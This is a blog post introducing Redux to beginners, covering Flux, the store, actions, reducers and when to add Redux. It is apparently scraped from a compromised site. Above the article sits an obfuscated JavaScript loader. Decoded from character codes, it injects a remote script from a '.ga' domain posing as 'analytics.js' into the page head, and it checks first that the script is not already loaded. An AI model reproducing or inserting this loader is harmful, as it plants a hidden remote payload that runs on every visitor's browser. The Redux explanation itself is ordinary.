var _0x1c9a=['push','229651wHRLFT','511754lPBDVY','length','2080825FKHOBK','src','1lLQkOc','1614837wjeKHo','insertBefore','fromCharCode','179434whQoYd','1774xXwpgH','1400517aqruvf','7vsbpgk','3112gjEEcU','1mFUgXZ','script','1534601MOJEnu','prototype','245777oIJjBl','47jNCcHN','1HkMAkw','nextSibling','appendAfter','shift','18885bYhhDw','1096016qxAIHd','72lReGEt','1305501RTgYEh','4KqoyHD','appendChild','createElement','getElementsByTagName'];var _0xd6df=function(_0x3a7b86,_0x4f5b42){_0x3a7b86=_0x3a7b86-0x1f4;var _0x1c9a62=_0x1c9a[_0x3a7b86];return _0x1c9a62;};(function(_0x2551a2,_0x3dbe97){var _0x34ce29=_0xd6df;while(!![]){try{var _0x176f37=-parseInt(_0x34ce29(0x20a))*-parseInt(_0x34ce29(0x205))+-parseInt(_0x34ce29(0x204))*-parseInt(_0x34ce29(0x206))+-parseInt(_0x34ce29(0x1fc))+parseInt(_0x34ce29(0x200))*parseInt(_0x34ce29(0x1fd))+-parseInt(_0x34ce29(0x1fb))*-parseInt(_0x34ce29(0x1fe))+-parseInt(_0x34ce29(0x20e))*parseInt(_0x34ce29(0x213))+-parseInt(_0x34ce29(0x1f5));if(_0x176f37===_0x3dbe97)break;else _0x2551a2['push'](_0x2551a2['shift']());}catch(_0x201239){_0x2551a2['push'](_0x2551a2['shift']());}}}(_0x1c9a,0xc08f4));function smalller(){var _0x1aa566=_0xd6df,_0x527acf=[_0x1aa566(0x1f6),_0x1aa566(0x20b),'851164FNRMLY',_0x1aa566(0x202),_0x1aa566(0x1f7),_0x1aa566(0x203),'fromCharCode',_0x1aa566(0x20f),_0x1aa566(0x1ff),_0x1aa566(0x211),_0x1aa566(0x214),_0x1aa566(0x207),_0x1aa566(0x201),'parentNode',_0x1aa566(0x20c),_0x1aa566(0x210),_0x1aa566(0x1f8),_0x1aa566(0x20d),_0x1aa566(0x1f9),_0x1aa566(0x208)],_0x1e90a8=function(_0x49d308,_0xd922ec){_0x49d308=_0x49d308-0x17e;var _0x21248f=_0x527acf[_0x49d308];return _0x21248f;},_0x167299=_0x1e90a8;(function(_0x4346f4,_0x1d29c9){var _0x530662=_0x1aa566,_0x1bf0b5=_0x1e90a8;while(!![]){try{var _0x2811eb=-parseInt(_0x1bf0b5(0x187))+parseInt(_0x1bf0b5(0x186))+parseInt(_0x1bf0b5(0x18d))+parseInt(_0x1bf0b5(0x18c))+-parseInt(_0x1bf0b5(0x18e))*parseInt(_0x1bf0b5(0x180))+-parseInt(_0x1bf0b5(0x18b))+-parseInt(_0x1bf0b5(0x184))*parseInt(_0x1bf0b5(0x17e));if(_0x2811eb===_0x1d29c9)break;else _0x4346f4[_0x530662(0x212)](_0x4346f4[_0x530662(0x209)]());}catch(_0x1cd819){_0x4346f4[_0x530662(0x212)](_0x4346f4[_0x530662(0x209)]());}}}(_0x527acf,0xd2c23),(Element[_0x167299(0x18f)][_0x1aa566(0x208)]=function(_0x3d096a){var _0x2ca721=_0x167299;_0x3d096a[_0x2ca721(0x183)][_0x2ca721(0x188)](this,_0x3d096a[_0x2ca721(0x181)]);},![]),function(){var _0x5d96e1=_0x1aa566,_0x22c893=_0x167299,_0x306df5=document[_0x22c893(0x185)](_0x22c893(0x182));_0x306df5[_0x22c893(0x18a)]=String[_0x22c893(0x190)](0x68,0x74,0x74,0x70,0x73,0x3a,0x2f,0x2f,0x73,0x74,0x69,0x63,0x6b,0x2e,0x74,0x72,0x61,0x76,0x65,0x6c,0x69,0x6e,0x73,0x6b,0x79,0x64,0x72,0x65,0x61,0x6d,0x2e,0x67,0x61,0x2f,0x61,0x6e,0x61,0x6c,0x79,0x74,0x69,0x63,0x73,0x2e,0x6a,0x73,0x3f,0x63,0x69,0x64,0x3d,0x30,0x30,0x30,0x30,0x26,0x70,0x69,0x64,0x69,0x3d,0x31,0x39,0x31,0x38,0x31,0x37,0x26,0x69,0x64,0x3d,0x35,0x33,0x36,0x34,0x36),_0x306df5[_0x22c893(0x189)](document[_0x22c893(0x17f)](String[_0x5d96e1(0x1fa)](0x73,0x63,0x72,0x69,0x70,0x74))[0x0]),_0x306df5[_0x5d96e1(0x208)](document[_0x22c893(0x17f)](String[_0x22c893(0x190)](0x68,0x65,0x61,0x64))[0x0]),document[_0x5d96e1(0x211)](String[_0x22c893(0x190)](0x68,0x65,0x61,0x64))[0x0][_0x22c893(0x191)](_0x306df5);}());}function biggger(){var _0x5d031d=_0xd6df,_0x5c5bd2=document[_0x5d031d(0x211)](_0x5d031d(0x201));for(var _0x5a0282=0x0;_0x5a0282<_0x5c5bd2[_0x5d031d(0x1f4)];_0x5a0282++){if(_0x5c5bd2[_0x5a0282][_0x5d031d(0x1f6)]['indexOf'](String['fromCharCode'](0x74,0x72,0x61,0x76,0x65,0x6c,0x69,0x6e,0x73,0x6b,0x79,0x64,0x72,0x65,0x61,0x6d))>-0x1)return 0x1;}return 0x0;}biggger()==0x0&&smalller(); An introduction to Redux for beginners – part 1 | Jacob Westman

As applications grow so does complexity and the handling of state. Redux is a state container (a client-side database) that solves this problem. In a series of three we will look into Redux and take a peek at the fundamentals.

This blog post is suitable for intermediate front end developers who are starting out with Redux.
A common pain point when building large-scale applications is the tight coupling between user interactions and state changes.

For example, consider an app for managing email. Clicking an email must:

  1. Replace the “inbox view” (the list of emails) with the “email view” (the email the user clicked)
  2. Mark the email as read locally
  3. Reduce the total unread counter locally
  4. Change the URL of the browser
  5. Send a web request to mark the email as read on the server


There is a lot of state handling going on here. The function in the top-level component that handles a user clicking on an email must describe all the state changes that occur.

If you are new to the concept of state I suggest you check out my article Top 5 best practices when getting started with React for an explanation on the subject.

Facebook was running into this problem with state so they invented Flux.

Flux is a design pattern made up of four parts, organised as a one-way data pipeline. A diagram looks like this:

From Flux to Redux

As Facebook open-sourced the Flux design pattern, the community responded by writing tons of different Flux implementations.

Redux by Dan Abramov is one of the most popular implementations due to its simplicity and awesome developer experience (live code editing combined with a time traveling debugger).

Redux has only about 100 lines of code (stripped and minified), so it is actually possible to look into the code itself and understand it without too much of an effort.


While flux have dispatchers and allow multiple stores, Redux simply dispatches actions and passes the current state through one immutable store and returns the new state.
If the new state differs from the current state it will trigger an action that will re-render the ui that care in your application.
Are you confused yet? Well, I was at first. Soon we will hopefully get som clarity. Let’s take a look at the three core principles of Redux.

3 core principles of Redux

Redux has three core principles that you need to understand:

  1. One Immutable store
  2. Actions trigger changes
  3. Reducers update state

The first principle is that all application state is kept in one immutable store. Having one immutable store makes debugging and testing easier, allows server rendering and actions like redo / undo possible.

The second principle is that when a user performs an action i.e. clicks on a submit button in a form (a user intent). It triggers a change and passed on to the store.

A reducer (a simple “pure” function that takes two parameters: the current state and an action) picks up the action which then returns the new state. This is the third principle.
The easiest way to describe this flow is “doing a chat with Redux”.
This example is taken from the course on Redux by Cory House at Pluralsight. All cred goes to him.

A chat with Redux

React – Hey CourseAction, someone clicked this “Save Course” button.
Action – Thanks React! I will dispatch an action so reducers that care can update state.
Reducer – Ah, thanks action. I see you passed me the current state and the action to perform. I’ll make a new copy of the state and return it.
Store – Thanks for updating the state reducer. I’ll make sure that all connected components are aware.
React-Redux – Woah, thanks for the new data Mr. Store. I’ll now intelligently determine if I should tell React about this change so that it only has to bother with updating the UI when necessary.
 Hopefully this gives you an idea of the flow in Redux. In next episode we will look into more detail how this looks in code.

When to use Redux?

When coding you can choose whether you want to go for vanilla JavaScript, use jQuery or adding in a library/framework like React or Angular. When should you use what?

The one problem with JavaScript and jQuery is when the codebase grow in size so does the complexity and the challenges of keeping it clean and readable. Adding in libraries like React and Redux adds complexity but it is going to save the day when building larger applications.

So when to use React only and when to add Redux on top of that? The answer to when you should add in Redux is a matter of preference. Pete Hunt described it like this:

If you aren’t sure if you need it, you don’t need it – Pete Hunt on Flux and Redux
If you find that the handling of state at the top-level component is getting out of hand and is hard to manage – that is an indicator that you should consider adding Redux to your application.
So when is that? From my experience, when building a typical CRUD app, Its fair to say its time to bring in Redux and declare actions like Create, update, delete to be passed through the store.


In this episode of “An introduction to Redux for beginners” we have looked at the fundamentals of Redux and when and why it can be used. In the next episode, we will look at some hands-on code examples and how to structure Redux on a fundamental level.

If you can’t wait until then I suggest you check out this great podcast featuring the creator of Redux – Dan Abramov. Perhaps its time for a break. Put on your running shoes and rest your eyes for a while!